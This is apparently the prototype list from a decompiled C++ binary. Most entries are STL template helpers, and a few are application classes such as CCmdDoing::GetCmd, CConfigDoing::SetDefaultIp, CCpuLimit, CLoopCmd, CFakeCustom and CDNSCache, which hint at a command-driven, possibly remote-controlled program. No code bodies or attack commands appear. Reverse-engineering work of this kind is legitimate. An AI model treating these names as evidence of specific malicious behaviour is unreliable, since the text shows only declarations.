int32_t std____copy_normal_lt_true_comma__false_gt___copy_n_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__char__ptr__gt_(int32_t * a1, int32_t * a2);
int32_t std__copy_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__char__ptr__gt_(int32_t * a1, int32_t * a2, int32_t * a3);
int32_t std____uninitialized_copy_aux_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__char__ptr__gt_(int32_t * a1, int32_t * a2, int32_t * a3);
int32_t std__uninitialized_copy_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__char__ptr__gt_(int32_t * a1, int32_t * a2, int32_t * a3);
int32_t std____uninitialized_copy_a_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__char__ptr__comma__char_gt_(int32_t * a1, int32_t * a2, int32_t * a3);
int32_t std____fill_n_lt_true_gt___fill_n_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__unsigned_int_comma__char_gt_(int32_t ** a1, int32_t * a2, int32_t * a3, char * a4);
int32_t std__fill_n_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__unsigned_int_comma__char_gt_(int32_t ** a1, int32_t * a2, int32_t * a3, char * a4);
int32_t std____uninitialized_fill_n_aux_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__unsigned_int_comma__char_gt_(int32_t * a1, int32_t * a2, char * a3);
int32_t std__uninitialized_fill_n_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__unsigned_int_comma__char_gt_(int32_t * a1, int32_t * a2, char * a3);
int32_t std____uninitialized_fill_n_a_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__unsigned_int_comma__char_comma__char_gt_(int32_t * a1, int32_t * a2, char * a3);
int32_t std__vector_lt_char_comma__std__allocator_lt_char_gt___gt____M_fill_insert(struct struct_12 * a1, int32_t * a2, int32_t * a3, char * a4);
int32_t std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___insert(struct struct_12 * a1, int32_t * a2, int32_t * a3, char * a4);
int32_t std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___resize(int32_t ** a1, int32_t * a2, int32_t * a3);
void std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___resize_70(int32_t ** a1, int32_t * a2);
int32_t CCmdDoing__GetCmd(int32_t * a1, int32_t a2);
int32_t CCmdDoing__Initialize(int32_t * a1);
int32_t CConfigDoing___SetConf(char * a1);
int32_t CConfigDoing__SetDefaultIp(int32_t ** a1, int32_t * a2);
int32_t CConfigDoing__Initialize(int32_t * a1);
int32_t CSerial_81(int32_t * a1);
int32_t CCpuLimit_82(struct struct_13 * a1);
int32_t CCpuLimit__Size(void);
int32_t CConfig__InitSize(int32_t ** a1);
int32_t CLoopCmd(struct struct_14 * a1);
int32_t CLoopCmd_83(int32_t * a1);
int32_t CSerial__operator_eq_(int32_t * a1);
int32_t CSerial_84(int32_t * a1);
int32_t CLoopCmd__operator_eq_(int32_t * a1, int32_t a2);
int32_t CLoopCmd_86(struct struct_14 * a1, int32_t a2);
int32_t CConfig__Size(int32_t ** a1);
int32_t std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___end_87(int32_t * a1, int32_t a2);
int32_t __gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___operator__(int32_t * a1);
int32_t std__allocator_lt_CFakeCustom_gt__88(int32_t a1, int32_t a2);
int32_t std___Vector_base_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt____Vector_impl_89(struct struct_3 * a1, int32_t a2);
int32_t std___Vector_base_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt__90(struct struct_6 * a1, int32_t a2);
int32_t __gnu_cxx____mt_alloc_lt_CFakeCustom_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__91(int32_t a1);
int32_t std__allocator_lt_CFakeCustom_gt__92(int32_t a1);
int32_t std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt__93(struct struct_6 * a1, int32_t a2);
int32_t CConfig_94(struct struct_17 * a1);
int32_t __gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___base(int32_t * a1);
int32_t __gnu_cxx__operator_not__eq__lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt_(int32_t * a1, int32_t * a2);
int32_t std___Destroy_lt___gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt__comma__std__allocator_lt_CFakeCustom_gt___gt_(int32_t * a1);
int32_t std__vector_lt_char_comma__std__allocator_lt_char_gt___gt__95(int32_t ** a1, int32_t * a2, int32_t a3);
int32_t __gnu_cxx____mt_alloc_base_lt_CFakeCustom_gt___max_size(void);
int32_t __gnu_cxx____mt_alloc_lt_CFakeCustom_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___allocate(int32_t * a1, struct struct_6 * a2);
int32_t std___Vector_base_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt____M_allocate(int32_t * a1, struct struct_6 * a2);
int32_t std___Construct_lt_CFakeCustom_comma__CFakeCustom_gt_(int32_t * a1, struct struct_18 * a2);
int32_t CDNSCache__GetFirstNumPos(char * a1);
int32_t CDNSCache__GetIpsFromDomain(struct struct_3 * a1, struct struct_20 * a2, struct struct_3 * a3, int32_t a4, int32_t a5);
int32_t CDNSCache__GetIpFromDomain(int32_t * a1, struct struct_20 * a2, struct struct_3 * a3);
int32_t CDNSCache__Initialize(char * a1, int32_t a2);
int32_t std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___operator_not__eq_(int32_t * a1, int32_t * a2);
int32_t std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___operator__gt_(int32_t * a1);
void __gnu_cxx____mt_alloc_lt_unsigned_int_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_(void);
int32_t std__allocator_lt_unsigned_int_gt_(int32_t result);
int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____M_begin(int32_t * a1);
int32_t __gnu_cxx____mt_alloc_base_lt_unsigned_int_gt___construct(int32_t * a1, int32_t * a2);
int32_t __gnu_cxx____mt_alloc_base_lt_std__string_gt___construct(int32_t * a1, int32_t * a2);
int32_t __gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___operator_ptr_(int32_t * a1);
int32_t std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___operator_ptr_(int32_t * a1);
int32_t std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___operator_eq__eq_(int32_t * a1, int32_t * a2);
int32_t __gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___operator_(int32_t * a1, int32_t * a2, int32_t * a3);
int32_t std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___end_107(int32_t * a1, int32_t a2);
int32_t __gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___operator__(int32_t * a1);
void __gnu_cxx____mt_alloc_base_lt_unsigned_int_gt_(void);
void __gnu_cxx____mt_alloc_base_lt_unsigned_int_gt___destroy(void);
void __gnu_cxx____mt_alloc_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_(void);
int32_t std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt_(int32_t result);
int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____S_right(int32_t * a1);
int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____S_left(int32_t * a1);
int32_t __gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt_(int32_t * a1, int32_t * a2);
int32_t std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___begin(int32_t * a1, int32_t * a2);
int32_t __gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___operator_(int32_t * a1, int32_t * a2, int32_t * a3);
int32_t std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___operator_lsb__rsb_(int32_t * a1, int32_t * a2);
int32_t std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___end(int32_t * a1, int32_t * a2);
int32_t std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___max_size(void);
int32_t __gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___base(int32_t * a1);
int32_t __gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___operator__(int32_t * a1);
int32_t std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___max_size(void);
int32_t __gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___base(int32_t * a1);
int32_t __gnu_cxx__operator_not__eq__lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt_(int32_t * a1, int32_t * a2);
int32_t std___Destroy_lt___gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma__std__allocator_lt_std__string_gt___gt_(int32_t * a1);
int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____M_end(int32_t * a1);
int32_t std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt_(int32_t ** a1, int32_t * a2);
int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___end(int32_t ** a1, int32_t * a2);
int32_t std__map_lt_std__string_comma__CDNSCacheItem_comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___end(int32_t ** a1, int32_t * a2);
int32_t __gnu_cxx__operator_eq__eq__lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt_(int32_t * a1, int32_t * a2);
int32_t std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___empty(int32_t * a1);
int32_t std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___capacity(int32_t * a1);
int32_t __gnu_cxx____normal_iterator_lt_unsigned_int_const__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt_(int32_t * a1, int32_t * a2);
int32_t std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___begin_109(int32_t * a1, int32_t ** a2);
int32_t std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___end_110(int32_t * a1, int32_t a2);
int32_t __gnu_cxx____normal_iterator_lt_unsigned_int_const__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___base(int32_t * a1);
int32_t __gnu_cxx__operator__lt_unsigned_int_const__ptr__comma__unsigned_int_const__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt_(int32_t * a1, int32_t * a2);
int32_t std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___size(int32_t * a1);
int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___key_comp(int32_t result);
int32_t std__map_lt_std__string_comma__CDNSCacheItem_comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___key_comp(int32_t result, int32_t * a2);
int32_t __gnu_cxx____mt_alloc_lt_unsigned_int_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__111(int32_t a1);
int32_t std__allocator_lt_unsigned_int_gt__112(int32_t a1, int32_t a2);
int32_t std___Vector_base_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___get_allocator(int32_t result, int32_t * a2);
int32_t CDNSCacheItem(struct struct_3 * a1);
int32_t std__pair_lt_std__string_const_comma__CDNSCacheItem_gt_(struct struct_3 * a1);
int32_t CDNSCacheItem_117(int32_t * a1);
int32_t __gnu_cxx____mt_alloc_lt_unsigned_int_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___deallocate(int32_t * a1, int32_t * a2, int32_t * a3);
int32_t std___Vector_base_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt____M_deallocate(int32_t * a1, int32_t * a2, int32_t * a3);
void __gnu_cxx____mt_alloc_base_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt_(void);
int32_t __gnu_cxx____mt_alloc_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__120(int32_t a1);
int32_t __gnu_cxx__operator_not__eq__lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt_(int32_t * a1, int32_t * a2);
int32_t std___Destroy_lt___gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt__comma__std__allocator_lt_unsigned_int_gt___gt_(int32_t * a1);
int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____S_value(int32_t * a1);
int32_t std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___operator_lb__rb_(int32_t a1);
int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____S_key(int32_t * a1);
int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____S_value_122(int32_t a1);
int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____S_key_123(int32_t a1);
int32_t _ZStltIcSt11char_traitsIcESaIcEEbRKSbIT_T0_T1_ES8_(int32_t * a1, int32_t a2);
int32_t std__less_lt_std__string_gt___operator_lb__rb_(int32_t * a1, int32_t * a2);
int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___find(int32_t ** a1, int32_t * a2, int32_t * a3);
int32_t std__map_lt_std__string_comma__CDNSCacheItem_comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___find(int32_t ** a1, int32_t * a2, int32_t * a3);
int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___lower_bound(int32_t * a1, int32_t * a2, int32_t * a3);
int32_t std__map_lt_std__string_comma__CDNSCacheItem_comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___lower_bound(int32_t ** a1, int32_t * a2, int32_t * a3);
int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____M_rightmost(int32_t * a1);
int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___size(int32_t * a1);
int32_t __gnu_cxx____mt_alloc_base_lt_std__string_gt___max_size(void);
int32_t __gnu_cxx____mt_alloc_lt_std__string_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___allocate(int32_t * a1, struct struct_10 * a2);
int32_t std___Vector_base_lt_std__string_comma__std__allocator_lt_std__string_gt___gt____M_allocate(int32_t * a1, struct struct_10 * a2);
int32_t std___Vector_base_lt_std__string_comma__std__allocator_lt_std__string_gt___gt__124(struct struct_3 * a1, int32_t a2, int32_t a3);
int32_t std____copy_lt_false_comma__std__random_access_iterator_tag_gt___copy_lt_std__string_const__ptr__comma__std__string__ptr__gt_(int32_t * a1, int32_t * a2, int32_t * a3);
void std____copy_aux_lt_std__string_const__ptr__comma__std__string__ptr__gt_(int32_t * a1, int32_t * a2, int32_t * a3);
int32_t std____copy_normal_lt_true_comma__true_gt___copy_n_lt___gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___gt_(int32_t * a1, int32_t * a2);
int32_t std__copy_lt___gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___gt_(int32_t ** a1, int32_t * a2, int32_t ** a3, struct struct_3 * a4);
int32_t std____copy_normal_lt_true_comma__false_gt___copy_n_lt___gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma__std__string__ptr__gt_(int32_t * a1, int32_t * a2);
int32_t std__copy_lt___gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma__std__string__ptr__gt_(int32_t * a1, int32_t * a2, int32_t ** a3);
int32_t __gnu_cxx__operator_not__eq__lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt_(int32_t * a1, int32_t * a2);
int32_t __gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___operator__(int32_t * a1);
int32_t __gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___operator_ptr_(int32_t * a1);
int32_t std___Construct_lt_std__string_comma__std__string_gt_(int32_t * a1, int32_t * a2);
int32_t std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__130(int32_t a1);
int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___get_allocator(int32_t result, int32_t * a2);
int32_t __gnu_cxx____mt_alloc_base_lt_unsigned_int_gt___max_size(void);
int32_t __gnu_cxx____mt_alloc_lt_unsigned_int_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___allocate(int32_t * a1, int32_t * a2);
int32_t std___Vector_base_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt____M_allocate(int32_t * a1, int32_t * a2);
int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___begin(int32_t ** a1, int32_t * a2);
int32_t std__pair_lt_std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__bool_gt_(int32_t * a1, int32_t * a2, char * a3);
int32_t std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___operator__(int32_t * a1);
int32_t std____copy_backward_lt_true_comma__std__random_access_iterator_tag_gt___copy_b_lt_unsigned_int_gt_(int32_t * a1, int32_t * a2, int32_t * a3);
void std____copy_backward_aux_lt_unsigned_int__ptr__comma__unsigned_int__ptr__gt_(int32_t * a1, int32_t * a2, int32_t * a3);
int32_t std____copy_backward_normal_lt_true_comma__true_gt___copy_b_n_lt___gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___gt_(int32_t * a1, int32_t * a2);
int32_t std__copy_backward_lt___gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___gt_(int32_t ** a1, int32_t * a2, int32_t * a3, int32_t * a4);
int32_t std____copy_backward_lt_false_comma__std__random_access_iterator_tag_gt___copy_b_lt_std__string__ptr__comma__std__string__ptr__gt_(int32_t * a1, int32_t * a2, int32_t * a3);
void std____copy_backward_aux_lt_std__string__ptr__comma__std__string__ptr__gt_(int32_t * a1, int32_t * a2, int32_t * a3);
int32_t std____copy_backward_normal_lt_true_comma__true_gt___copy_b_n_lt___gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___gt_(int32_t * a1, int32_t * a2);
int32_t std__copy_backward_lt___gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___gt_(int32_t ** a1, int32_t * a2, int32_t * a3, int32_t * a4);
int32_t std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___operator___133(int32_t * a1);
int32_t std___Destroy_lt_std__string_gt_(int32_t a1);
int32_t std____destroy_aux_lt_std__string__ptr__gt_(int32_t a1, int32_t result);
int32_t std___Destroy_lt_std__string__ptr__gt_(int32_t a1, int32_t result, int32_t a3);
int32_t std____uninitialized_copy_aux_lt___gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma__std__string__ptr__gt_(int32_t * a1);
int32_t std__uninitialized_copy_lt___gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma__std__string__ptr__gt_(int32_t * a1, int32_t * a2, struct struct_10 * a3);
int32_t std____uninitialized_copy_a_lt___gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma__std__string__ptr__comma__std__string_gt_(int32_t * a1, int32_t * a2, struct struct_10 * a3);
int32_t std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt____M_allocate_and_copy_lt___gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___gt_(int32_t * a1, struct struct_10 * a2, int32_t * a3, int32_t * a4);
int32_t std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___operator_eq_(struct struct_12 * a1, int32_t ** a2);
int32_t CDNSCacheItem_134(int32_t * a1, int32_t ** a2);
int32_t CDNSCacheItem__operator_eq_(int32_t * a1, int32_t * a2);
int32_t std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt__135(struct struct_20 * a1, int32_t ** a2);
int32_t CDNSCacheItem_136(int32_t * a1, int32_t * a2);
int32_t std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__137(struct struct_3 * a1, int32_t a2, int32_t a3);
int32_t std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__138(struct struct_3 * a1, int32_t a2);
int32_t __gnu_cxx____mt_alloc_base_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___construct(int32_t a1, int32_t * a2);
int32_t std____destroy_aux_lt___gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___gt_(void);
int32_t std____uninitialized_copy_aux_lt___gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___gt_(int32_t ** a1, int32_t * a2);
